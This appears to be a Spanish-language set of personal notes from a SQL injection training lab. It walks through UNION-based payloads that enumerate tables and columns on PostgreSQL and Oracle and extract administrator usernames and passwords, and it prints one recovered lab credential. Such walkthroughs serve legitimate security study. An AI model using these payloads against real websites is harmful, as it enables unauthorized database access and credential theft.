💀Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en bases de datos
SELECT * FROM information_schema.columns WHERE table_name = 'Users' #aqui podemos ver que hay un atributo
#llamado table_name de .columns de schema, asi que ese es el que tomaremos para que retorne.
'+UNION+SELECT+'abc','def'--

Ahora lo que comprobamos es que retorna 200 ok la response, significa que esta tomando en cuenta todos los parametros que le dimos, podemos de esos reemplazar el primero ‘abc’ por el atributo “table_name” de la tabla “information_schema.tables” y el otro interpretarlo como NULL.
'+UNION+SELECT+information_schema.tables-- #comando de prueba
'+UNION+SELECT+'information_schema.tables',NULl-- #comando de prueba
'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables--

Parece que es exitoso, si vemos la pagina:

Efectivamente podemos ver los nombres de las tablas de las tablas, vamos ahora a crear un comando que nos ayude a obtener la tabla especifica con la columna especifica para obtener la contraseña de administrador.

Encontramos la tabla que es de users “users_eqaeyp” , vamos con el comando:
SELECT * FROM information_schema.columns WHERE table_name='users_eqaeyp'
#ESTOS COMANDOS NO SIRVIERON, PRODUCTO DE QUE ESTUVE CONSULTANDO A UNA TABLA QUE NO ERA LA CORRECTA.
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='pg_user'--
'+UNION+SELECT+usename,+passwd+FROM+pg_user--
Ahora si vamos con los comandos que sirvieron, directamente de la tabla users_eqaeyp →
#COMANDOS QUE SIRIVERON!!!
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_eqaeyp'--
'+UNION+SELECT+username_niqeyu,password_eycnpm+FROM+users_eqaeyp--

Encontramos la columnas con la informacion correspondiente, username y password, ahora simplemente vamos a obtenerlas:

Ahora simplemente accedemos como admin y listo.

pg_user = es una tabla directamente de la BD administrada por PG_ADMIN por eso esta ahi por default, y por eso la informacion nunca la iba a encontrar ahi por mas de que yo creara nuevas consultas, ademas cuando pude encontrar los usernames me mostro postgres como un posible nombre de usuario lo cual ya es obvio que no es una tabla directa de la aplicacion sino que es una tabla por defecto de la BD postgres con PG Admin, asi que la proxima nos centramos en tablas que tengan nombres especificos creados por la persona para la aplicacion.
Laboratorio #2 De enumerando el contenido de la Base de Datos pero esta vez en BD Oracle:
'+UNION+SELECT+table_name,+NULL+FROM+all_tables--
'+UNION+SELECT+'abc','def'+FROM+dual--

'+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name='USERS_TKQQBD'--

Listo pripra tenemos username y password listos, ahora si sapo perro vamos a crear una consulta para obtener los valores de esa tabla.
'+UNION+SELECT+PASSWORD_VRMOAR,USERNAME_KGKDPR+FROM+USERS_TKQQBD--
eo1hlcn0ktv0t7dnnzwj:administrator

Obtuvimos pass y username → Admin

Last updated